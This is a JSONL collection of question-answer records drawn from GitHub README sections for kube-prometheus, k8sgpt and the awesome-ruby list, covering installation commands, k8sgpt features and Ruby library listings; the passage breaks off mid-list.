{"id": "gh_ef270f9ffbd8", "question": "How to: Quickstart", "question_body": "About prometheus-operator/kube-prometheus", "answer": "This project is intended to be used as a library (i.e. the intent is not for you to create your own modified copy of this repository).\n\nThough for a quickstart a compiled version of the Kubernetes [manifests](manifests) generated with this library (specifically with `example.jsonnet`) is checked into this repository in order to try the content out quickly. To try out the stack un-customized run:\n\n* Create the monitoring stack using the config in the `manifests` directory:\n\n  ```shell\n  # Create the namespace and CRDs, and then wait for them to be available before creating the remaining resources\n  # Note that due to some CRD size we are using kubectl server-side apply feature which is generally available since kubernetes 1.22.\n  # If you are using previous kubernetes versions this feature may not be available and you would need to use kubectl create instead.\n  kubectl apply --server-side -f manifests/setup\n  kubectl wait \\\n      --for condition=Established \\\n      --all CustomResourceDefinition \\\n      --namespace=monitoring\n  kubectl apply -f manifests/\n  ```\n\nWe create the namespace and CustomResourceDefinitions first to avoid race conditions when deploying the monitoring components.\nAlternatively, the resources in both folders can be applied with a single command\n`kubectl apply --server-side -f manifests/setup -f manifests`, but it may be necessary to run the command multiple times for all components to\nbe created successfully.\n\n* To teardown the stack:\n\n  ```shell\n  kubectl delete --ignore-not-found=true -f manifests/ -f manifests/setup\n  ```\n\nThe [official documentation](http://prometheus-operator.dev/docs/getting-started/installation/) contains the full version of this quick-start guide, and includes [instructions](https://prometheus-operator.dev/kube-prometheus/kube/access-ui/) on how to access Prometheus, AlertManager, and Grafana.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7553, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381909"}
{"id": "gh_a7f6b24d27eb", "question": "How to: Getting started", "question_body": "About prometheus-operator/kube-prometheus", "answer": "Before deploying kube-prometheus in a production environment, read:\n\n1. [Customizing kube-prometheus](docs/customizing.md)\n2. [Customization examples](docs/customizations)\n3. [Accessing Graphical User Interfaces](docs/access-ui.md)\n4. [Troubleshooting kube-prometheus](docs/troubleshooting.md)", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7553, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381916"}
{"id": "gh_4e1148bd6362", "question": "How to: Documentation", "question_body": "About prometheus-operator/kube-prometheus", "answer": "1. [Continuous Delivery](examples/continuous-delivery)\n2. [Update to new version](docs/update.md)\n3. For more documentation on the project refer to `docs/` directory.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7553, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381922"}
{"id": "gh_90a629c72920", "question": "How to: Contributing", "question_body": "About prometheus-operator/kube-prometheus", "answer": "To contribute to kube-prometheus, refer to [Contributing](CONTRIBUTING.md).", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7553, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381927"}
{"id": "gh_c266db0dde66", "question": "How to: Join the discussion", "question_body": "About prometheus-operator/kube-prometheus", "answer": "If you have any questions or feedback regarding kube-prometheus, join the [kube-prometheus discussion](https://github.com/prometheus-operator/kube-prometheus/discussions). Alternatively, consider joining [#prometheus-operator](https://kubernetes.slack.com/archives/CFFDS2Z7F) slack channel or project's bi-weekly [Contributor Office Hours](https://docs.google.com/document/d/1-fjJmzrwRpKmSPHtXN5u6VZnn39M28KqyQGBEJsqUOk/edit#).", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7553, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/kube-prometheus", "collected_at": "2026-01-17T13:02:11.381933"}
{"id": "gh_65f9aa14030a", "question": "How to: Table of Contents", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "- [Overview](#k8sgpt)\n- [Installation](#cli-installation)\n- [Quick Start](#quick-start)\n- [Analyzers](#analyzers)\n- [Examples](#examples)\n- [LLM AI Backends](#llm-ai-backends)\n- [Key Features](#key-features)\n- [Model Context Protocol (MCP)](#model-context-protocol-mcp)\n- [Documentation](#documentation)\n- [Contributing](#contributing)\n- [Community](#community)\n- [License](#license)", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330863"}
{"id": "gh_ff75992a680c", "question": "How to: Linux/Mac via brew", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "```sh\nbrew install k8sgpt\n```\n\nor\n\n```sh\nbrew tap k8sgpt-ai/k8sgpt\nbrew install k8sgpt\n```\nRPM-based installation (RedHat/CentOS/Fedora)\n**32 bit:**\n```\n  sudo rpm -ivh https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.4.27/k8sgpt_386.rpm\n  ```\n**64 bit:**\n```\n  sudo rpm -ivh https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.4.27/k8sgpt_amd64.rpm\n  ```\nDEB-based installation (Ubuntu/Debian)\n**32 bit:**\n```\ncurl -LO https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.4.27/k8sgpt_386.deb\nsudo dpkg -i k8sgpt_386.deb\n```\n**64 bit:**\n```\ncurl -LO https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.4.27/k8sgpt_amd64.deb\nsudo dpkg -i k8sgpt_amd64.deb\n```\nAPK-based installation (Alpine)\n**32 bit:**\n```\n  wget https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.4.27/k8sgpt_386.apk\n  apk add --allow-untrusted k8sgpt_386.apk\n  ```\n**64 bit:**\n```\n  wget https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.4.27/k8sgpt_amd64.apk\n  apk add --allow-untrusted k8sgpt_amd64.apk\n  ```\nFailing Installation on WSL or Linux (missing gcc)\nWhen installing Homebrew on WSL or Linux, you may encounter the following error:\n\n```\n==> Installing k8sgpt from k8sgpt-ai/k8sgpt Error: The following formula cannot be installed from a bottle and must be\nbuilt from the source. k8sgpt Install Clang or run brew install gcc.\n```\n\nIf you install gcc as suggested, the problem will persist. Therefore, you need to install the build-essential package.\n\n```\n   sudo apt-get update\n   sudo apt-get install build-essential\n```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330887"}
{"id": "gh_4f0971b73af4", "question": "How to: Operator Installation", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "To install within a Kubernetes cluster please use our `k8sgpt-operator` with installation instructions available [here](https://github.com/k8sgpt-ai/k8sgpt-operator)\n\n_This mode of operation is ideal for continuous monitoring of your cluster and can integrate with your existing monitoring such as Prometheus and Alertmanager._", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330896"}
{"id": "gh_57aa0a0ad79a", "question": "How to: Quick Start", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "- Currently, the default AI provider is OpenAI, you will need to generate an API key from [OpenAI](https://openai.com)\n  - You can do this by running `k8sgpt generate` to open a browser link to generate it\n- Run `k8sgpt auth add` to set it in k8sgpt.\n  - You can provide the password directly using the `--password` flag.\n- Run `k8sgpt filters` to manage the active filters used by the analyzer. By default, all filters are executed during analysis.\n- Run `k8sgpt analyze` to run a scan.\n- And use `k8sgpt analyze --explain` to get a more detailed explanation of the issues.\n- You also run `k8sgpt analyze --with-doc` (with or without the explain flag) to get the official documentation from Kubernetes.", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330903"}
{"id": "gh_c8c2e2f0a9fb", "question": "How to: Using with Claude Desktop", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "K8sGPT can be integrated with Claude Desktop to provide AI-powered Kubernetes cluster analysis. This integration requires K8sGPT v0.4.14 or later.", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330909"}
{"id": "gh_5e1535c64018", "question": "How to: Prerequisites", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "1. Install K8sGPT v0.4.14 or later:\n   ```sh\n   brew install k8sgpt\n   ```\n\n2. Install Claude Desktop from the official website\n\n3. Configure K8sGPT with your preferred AI backend:\n   ```sh\n   k8sgpt auth\n   ```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330915"}
{"id": "gh_c71d29bd61ee", "question": "How to: Troubleshooting", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "If you encounter connection issues:\n1. Ensure K8sGPT is running with the MCP server enabled\n2. Verify your Kubernetes cluster is accessible\n3. Check that your AI backend is properly configured\n4. Restart both K8sGPT and Claude Desktop\n\nFor more information, visit our [documentation](https://docs.k8sgpt.ai).", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330925"}
{"id": "gh_97576c7e483d", "question": "How to: Built in analyzers", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "#### Enabled by default\n\n- [x] podAnalyzer\n- [x] pvcAnalyzer\n- [x] rsAnalyzer\n- [x] serviceAnalyzer\n- [x] eventAnalyzer\n- [x] ingressAnalyzer\n- [x] statefulSetAnalyzer\n- [x] deploymentAnalyzer\n- [x] jobAnalyzer\n- [x] cronJobAnalyzer\n- [x] nodeAnalyzer\n- [x] mutatingWebhookAnalyzer\n- [x] validatingWebhookAnalyzer\n- [x] configMapAnalyzer\n\n#### Optional\n\n- [x] hpaAnalyzer\n- [x] pdbAnalyzer\n- [x] networkPolicyAnalyzer\n- [x] gatewayClass\n- [x] gateway\n- [x] httproute\n- [x] logAnalyzer\n- [x] storageAnalyzer\n- [x] securityAnalyzer\n- [x] CatalogSource\n- [x] ClusterCatalog\n- [x] ClusterExtension\n- [x] ClusterService\n- [x] ClusterServiceVersion\n- [x] OperatorGroup\n- [x] InstallPlan\n- [x] Subscription", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330934"}
{"id": "gh_147b1cb1b957", "question": "How to: Examples :", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "- Simple filter : `k8sgpt filters add Service`\n- Multiple filters : `k8sgpt filters add Ingress,Pod`\n\n_Remove default filters_\n\n```\nk8sgpt filters remove [filter(s)]\n```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330944"}
{"id": "gh_56740f66994f", "question": "How to: Full serve mode with MCP", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "k8sgpt serve --mcp --mcp-http --port 8080 --metrics-port 8081 --mcp-port 8089\n```\n\nThe MCP server enables integration with tools like Claude Desktop and other MCP-compatible clients. It runs on port 8089 by default and provides:\n- Kubernetes cluster analysis via MCP protocol\n- Resource information and health status\n- AI-powered issue explanations and recommendations\n\nFor Helm chart deployment with MCP support, see the `charts/k8sgpt/values-mcp-example.yaml` file.\n\n_Analysis with serve mode_\n\n```\ngrpcurl -plaintext -d '{\"namespace\": \"k8sgpt\", \"explain\" : \"true\"}' localhost:8080 schema.v1.ServerAnalyzerService/Analyze\n{\n  \"status\": \"OK\"\n}\n```\n\n_Analysis with custom headers_\n\n```\nk8sgpt analyze --explain --custom-headers CustomHeaderKey:CustomHeaderValue\n```\n\n_Print analysis stats_\n\n```\nk8sgpt analyze -s\nThe stats mode allows for debugging and understanding the time taken by an analysis by displaying the statistics of each analyzer.\n- Analyzer Ingress took 47.125583ms\n- Analyzer PersistentVolumeClaim took 53.009167ms\n- Analyzer CronJob took 57.517792ms\n- Analyzer Deployment took 156.6205ms\n- Analyzer Node took 160.109833ms\n- Analyzer ReplicaSet took 245.938333ms\n- Analyzer StatefulSet took 448.0455ms\n- Analyzer Pod took 5.662594708s\n- Analyzer Service took 38.583359166s\n```\n\n_Diagnostic information_\n\nTo collect diagnostic information use the following command to create a `dump_\n_json` in your local directory.\n```\nk8sgpt dump\n```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330963"}
{"id": "gh_2ca87c2d7b01", "question": "How to: LLM AI Backends", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "K8sGPT uses the chosen LLM, generative AI provider when you want to explain the analysis results using --explain flag e.g. `k8sgpt analyze --explain`. You can use `--backend` flag to specify a configured provider (it's `openai` by default).\n\nYou can list available providers using `k8sgpt auth list`:\n\n```\nDefault:\n> openai\nActive:\nUnused:\n> openai\n> localai\n> ollama\n> azureopenai\n> cohere\n> amazonbedrock\n> amazonsagemaker\n> google\n> huggingface\n> noopai\n> googlevertexai\n> watsonxai\n> customrest\n> ibmwatsonxai\n```\n\nFor detailed documentation on how to configure and use each provider see [here](https://docs.k8sgpt.ai/reference/providers/backend/).\n\n_To set a new default provider_\n\n```\nk8sgpt auth default -p azureopenai\nDefault provider set to azureopenai\n```\n\n_Using Amazon Bedrock with inference profiles_\n\n_System Inference Profile_\n\n```\nk8sgpt auth add --backend amazonbedrock --providerRegion us-east-1 --model arn:aws:bedrock:us-east-1:123456789012:inference-profile/my-inference-profile\n\n```\n\n_Application Inference Profile_\n\n```\nk8sgpt auth add --backend amazonbedrock --providerRegion us-east-1 --model arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/2uzp4s0w39t6\n\n```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330973"}
{"id": "gh_15c26fc556fb", "question": "How to: Key Features", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "With this option, the data is anonymized before being sent to the AI Backend. During the analysis execution, `k8sgpt` retrieves sensitive data (Kubernetes object names, labels, etc.). This data is masked when sent to the AI backend and replaced by a key that can be used to de-anonymize the data when the solution is returned to the user.\nAnonymization\n1. Error reported during analysis:\n\n```bash\nError: HorizontalPodAutoscaler uses StatefulSet/fake-deployment as ScaleTargetRef which does not exist.\n```\n\n2. Payload sent to the AI backend:\n\n```bash\nError: HorizontalPodAutoscaler uses StatefulSet/tGLcCRcHa1Ce5Rs as ScaleTargetRef which does not exist.\n```\n\n3. Payload returned by the AI:\n\n```bash\nThe Kubernetes system is trying to scale a StatefulSet named tGLcCRcHa1Ce5Rs using the HorizontalPodAutoscaler, but it cannot find the StatefulSet. The solution is to verify that the StatefulSet name is spelled correctly and exists in the same namespace as the HorizontalPodAutoscaler.\n```\n\n4. Payload returned to the user:\n\n```bash\nThe Kubernetes system is trying to scale a StatefulSet named fake-deployment using the HorizontalPodAutoscaler, but it cannot find the StatefulSet. The solution is to verify that the StatefulSet name is spelled correctly and exists in the same namespace as the HorizontalPodAutoscaler.\n```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330981"}
{"id": "gh_f2b66f3e352c", "question": "How to: Further Details", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "Note: **Anonymization does not currently apply to events.**\n\n_In a few analysers like Pod, we feed to the AI backend the event messages which are not known beforehand thus we are not masking them for the **time being**._\n\n- The following is the list of analysers in which data is **being masked**:-\n\n  - Statefulset\n  - Service\n  - PodDisruptionBudget\n  - Node\n  - NetworkPolicy\n  - Ingress\n  - HPA\n  - Deployment\n  - Cronjob\n\n- The following is the list of analysers in which data is **not being masked**:-\n\n  - ReplicaSet\n  - PersistentVolumeClaim\n  - Pod\n  - Log\n  - **_\\*Events_**\n\n**\\*Note**:\n\n- k8gpt will not mask the above analysers because they do not send any identifying information except **Events** analyser.\n- Masking for **Events** analyzer is scheduled in the near future as seen in this [issue](https://github.com/k8sgpt-ai/k8sgpt/issues/560). _Further research has to be made to understand the patterns and be able to mask the sensitive parts of an event like pod name, namespace etc._\n\n- The following is the list of fields which are not **being masked**:-\n\n  - Describe\n  - ObjectStatus\n  - Replicas\n  - ContainerStatus\n  - **_\\*Event Message_**\n  - ReplicaStatus\n  - Count (Pod)\n\n**\\*Note**:\n\n- It is quite possible the payload of the event message might have something like \"super-secret-project-pod-X crashed\" which we don't currently redact _(scheduled in the near future as seen in this [issue](https://github.com/k8sgpt-ai/k8sgpt/issues/560))_.", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.330992"}
{"id": "gh_fe66e2b27b43", "question": "How to: Proceed with care", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "- The K8gpt team recommends using an entirely different backend **(a local model) in critical production environments**. By using a local model, you can rest assured that everything stays within your DMZ, and nothing is leaked.\n- If there is any uncertainty about the possibility of sending data to a public LLM (open AI, Azure AI) and it poses a risk to business-critical operations, then, in such cases, the use of public LLM should be avoided based on personal assessment and the jurisdiction of risks involved.\nConfiguration management\n`k8sgpt` stores config data in the `$XDG_CONFIG_HOME/k8sgpt/k8sgpt.yaml` file. The data is stored in plain text, including your OpenAI key.\n\nConfig file locations:\n| OS | Path |\n| ------- | ------------------------------------------------ |\n| MacOS | ~/Library/Application Support/k8sgpt/k8sgpt.yaml |\n| Linux | ~/.config/k8sgpt/k8sgpt.yaml |\n| Windows | %LOCALAPPDATA%/k8sgpt/k8sgpt.yaml |\nThere may be scenarios where caching remotely is preferred.\nIn these scenarios K8sGPT supports AWS S3 or Azure Blob storage Integration.\nRemote caching\nNote: You can configure and use only one remote cache at a time\n_Adding a remote cache_\n\n- AWS S3\n  - _As a prerequisite `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are required as environmental variables._\n  - Configuration, `k8sgpt cache add s3 --region\n--bucket\n`\n  - Minio Configuration with HTTP endpoint ` k8sgpt cache add s3 --bucket\n--endpoint\n`\n  - Minio Configuration with HTTPs endpoint, skipping TLS verification ` k8sgpt cache add s3 --bucket\n--endpoint\n--insecure`\n    - K8sGPT will create the bucket if it does not exist\n- Azure Storage\n  - We support a number of [techniques](https://learn.microsoft.com/en-us/azure/developer/go/azure-sdk-authentication?tabs=bash#2-authenticate-with-azure) to authenticate against Azure\n  - Configuration, `k8sgpt cache add azure --storageacc\n--container\n`\n    - K8sGPT assumes that the storage account already exist and it will create the container if it does not exist\n    - It is the **user** responsibility have to grant specific permissions to their identity in order to be able to upload blob files and create SA containers (e.g Storage Blob Data Contributor)\n- Google Cloud Storage\n  - _As a prerequisite `GOOGLE_APPLICATION_CREDENTIALS` are required as environmental variables._\n  - Configuration, ` k8sgpt cache add gcs --region\n--bucket\n--projectid\n`\n    - K8sGPT will create the bucket if it does not exist\n\n_Listing cache items_\n\n```\nk8sgpt cache list\n```\n\n_Purging an object from the cache_\nNote: purging an object using this command will delete upstream files, so it requires appropriate permissions.\n\n```\nk8sgpt cache purge $OBJECT_NAME\n```\n\n_Removing the remote cache_\nNote: this will not delete the upstream S3 bucket or Azure storage container\n\n```\nk8sgpt cache remove\n```\nCustom Analyzers\nThere may be scenarios where you wish to write your own analyzer in a language of your choice.\nK8sGPT now supports the ability to do so by abiding by the [schema](https://github.com/k8sgpt-ai/schemas/blob/main/protobuf/schema/v1/custom_analyzer.proto) and serving the analyzer for consumption.\nTo do so, define the analyzer within the K8sGPT configuration and it will add it into the scanning process.\nIn addition to this you will need to enable the following flag on analysis:\n\n```\nk8sgpt analyze --custom-analysis\n```\n\nHere is an example local host analyzer in [Rust](https://github.com/k8sgpt-ai/host-analyzer)\nWhen this is run on `localhost:8080` the K8sGPT config can pick it up with the following additions:\n\n```\ncustom_analyzers:\n  - name: host-analyzer\n    connection:\n      url: localhost\n      port: 8080\n```\n\nThis now gives the ability to pass through hostOS information ( from this analyzer example ) to K8sGPT to use as context with normal analysis.\n\n_See the docs on how to write a custom analyzer_\n\n_Listing custom analyzers configured_\n```\nk8sgpt custom-analyzer list\n```\n\n_Adding custom analyzer without install_\n```\nk8sgpt custom-analyzer add --name my-custom-analyzer --port 8085\n```\n\n_Removing custom analyzer_\n```\nk8sgpt custom-analyzer remove --names \"my-custom-analyzer,my-custom-analyzer-2\"\n```", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.331010"}
{"id": "gh_3dc92b333f96", "question": "How to: Model Context Protocol (MCP)", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "K8sGPT provides a Model Context Protocol server that exposes Kubernetes operations as standardized tools for AI assistants like Claude, ChatGPT, and other MCP-compatible clients.\n\n**Start the MCP server:**\n\nStdio mode (for local AI assistants):\n```bash\nk8sgpt serve --mcp\n```\n\nHTTP mode (for network access):\n```bash\nk8sgpt serve --mcp --mcp-http --mcp-port 8089\n```\n\n**Features:**\n- 12 tools for cluster analysis, resource management, and debugging\n- 3 resources for cluster information access\n- 3 interactive troubleshooting prompts\n- Stateless HTTP mode for one-off invocations\n- Full integration with Claude Desktop and other MCP clients\n\n**Learn more:** See [MCP.md](MCP.md) for complete documentation, usage examples, and integration guides.", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7319, "answer_score": 10, "has_code": true, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.331018"}
{"id": "gh_8051b9b2d2e8", "question": "How to: Documentation", "question_body": "About k8sgpt-ai/k8sgpt", "answer": "Find our official documentation available [here](https://docs.k8sgpt.ai)", "tags": ["k8sgpt-ai"], "source": "github_gists", "category": "k8sgpt-ai", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7319, "answer_score": 10, "has_code": false, "url": "https://github.com/k8sgpt-ai/k8sgpt", "collected_at": "2026-01-17T13:02:13.331023"}
{"id": "gh_c0f7bb70be73", "question": "How to: Admin Interface", "question_body": "About markets/awesome-ruby", "answer": "* [ActiveAdmin](http://activeadmin.info) - A Ruby on Rails framework for creating elegant backends for website administration.\n* [ActiveScaffold](https://github.com/activescaffold/active_scaffold) - ActiveScaffold provides quick and powerful user interfaces for CRUD (create, read, update, delete) operations for Rails applications. It's excellent for generating admin interfaces, managing Data-Heavy Applications, creating Widgets or for quick prototyping. ActiveScaffold is completly customizable and offers a bunch of additional features including searching, pagination, layout control and overrides of fields, forms and templates.\n* [Administrate](https://github.com/thoughtbot/administrate) - A Rails engine that helps you put together a super-flexible admin dashboard, by Thoughtbot.\n* [Avo Admin for Rails](https://avohq.io/rails-admin) - Avo is the modern approach to building an advanced admin panel that can be used by the entire organization. It has all the tools an admin panel needs and more. We have carefully made sure that you have all the escape hatches you need to ensure you can build your next admin panel for Ruby on Rails incredibly fast and easily.\n* [bhf](http://antpaw.github.io/bhf/) - A simple to use Rails-Engine-Gem that offers an admin interface for trusted user.\n* [Hot Glue](https://github.com/hot-glue-for-rails/hot-glue/) - Hot Glue takes a different approach to building both admin and user dashboards. It is a code generation tool like the Rails scaffold generator but with significantly more features. Instead of providing a lot of configuration options, Hot Glue can generate your code. Good for lists & CRUD views for both admin and user-facing dashboards.\n* [Madmin](https://github.com/excid3/madmin) - A robust Admin Interface for Ruby on Rails apps\n* [MotorAdmin](https://github.com/motor-admin/motor-admin-rails) - A low-code Admin panel and Business Intelligence Rails engine. No DSL - configurable from the UI.\n* [RailsAdmin](https://github.com/sferik/rails_admin) - A Rails engine that provides an easy-to-use interface for managing your data.\n* [Trestle](https://github.com/TrestleAdmin/trestle) - A modern, responsive admin framework for Rails. Build a back-end in minutes that will grow with the needs of your application.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540813"}
{"id": "gh_e0250bd441a5", "question": "How to: API Builder and Discovery", "question_body": "About markets/awesome-ruby", "answer": "* [ActiveModel::Serializers](https://github.com/rails-api/active_model_serializers) - JSON serialization of objects.\n* [Acts_As_Api](https://github.com/fabrik42/acts_as_api) - Easy And Fun, in creating XML/JSON responses in Rails 3,4,5 and 6.\n* [Alba](https://github.com/okuramasafumi/alba) - A JSON serializer for Ruby, JRuby and TruffleRuby.\n* [Blanket](https://github.com/inf0rmer/blanket) - A dead simple API wrapper.\n* [Blueprinter](https://github.com/procore/blueprinter) - Simple, Fast, and Declarative Serialization Library for Ruby.\n* [cache_crispies](https://github.com/codenoble/cache-crispies) - Speedy Rails JSON serialization with built-in caching.\n* [Crepe](https://github.com/crepe/crepe) - The thin API stack.\n* [EasyTalk](https://github.com/sergiobayona/easy_talk) - Define structured data models with a DSL that generates JSON Schema and ActiveModel validations from a single source of truth.\n* [Grape](http://www.ruby-grape.org) - An opinionated micro-framework for creating REST-like APIs in Ruby.\n* [Her](https://github.com/remiprev/her) - an ORM that maps REST resources to Ruby objects. Designed to build applications that are powered by a RESTful API instead of a database.\n* [jbuilder](https://github.com/rails/jbuilder) - Create JSON structures via a Builder-style DSL.\n* [jsonapi-rb](http://jsonapi-rb.org) – Efficient and convenient JSON API (de)serialization library.\n* [jsonapi-serializer](https://github.com/jsonapi-serializer/jsonapi-serializer) - A fast JSON:API serializer for Ruby Objects.\n* [JSONAPI::Resources](https://github.com/cerebris/jsonapi-resources) - JSONAPI::Resources, or \"JR\", provides a framework for developing a server that complies with the JSON API specification.\n* [JSONAPI::Utils](https://github.com/tiagopog/jsonapi-utils) - JSONAPI::Utils is built on top of JSONAPI::Resources taking advantage of its resource-driven style and bringing an easy way to build modern JSON APIs with no or less learning curve.\n* [Jsonite](https://github.com/crepe/jsonite) - A tiny, HAL-compliant JSON presenter for your APIs.\n* [Pliny](https://github.com/interagent/pliny) - Opinionated template Sinatra app for writing excellent APIs in Ruby.\n* [rabl](https://github.com/nesquena/rabl) - General ruby templating with json, bson, xml, plist and msgpack support.\n* [Roar](https://github.com/apotonick/roar) - Resource-Oriented Architectures in Ruby.\n* [Spyke](https://github.com/balvig/spyke) - Interact with REST services in an ActiveRecord-like manner.\n* [Version Cake](https://github.com/bwillis/versioncake) - An unobtrusive way to version APIs in your Rails app.\n* [versionist](https://github.com/bploetz/versionist) - A plugin for versioning Rails based RESTful APIs.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540838"}
{"id": "gh_afcace7f80c2", "question": "How to: Authentication and OAuth", "question_body": "About markets/awesome-ruby", "answer": "* [API Guard](https://github.com/Gokul595/api_guard) - JWT authentication solution for Rails APIs.\n* [Authentication Zero](https://github.com/lazaronixon/authentication-zero) - An authentication system generator for Rails applications.\n* [Authlogic](https://github.com/binarylogic/authlogic) - Authlogic is a clean, simple, and unobtrusive ruby authentication solution.\n* [Clearance](https://github.com/thoughtbot/clearance) - Small and simple email & password based authentication for Rails.\n* [Devise](https://github.com/heartcombo/devise) - A flexible authentication solution for Rails based on Warden.\n* [JWT](https://github.com/jwt/ruby-jwt) - JSON Web Token implementation in Ruby.\n* [Monban](https://github.com/halogenandtoast/monban) - A very simple and extensible user authentication library for rails.\n* [OmniAuth](https://github.com/omniauth/omniauth) - A library that standardizes multi-provider authentication utilizing Rack middleware.\n* [Rodauth](https://github.com/jeremyevans/rodauth) - Authentication and account management framework for Rack applications.\n* 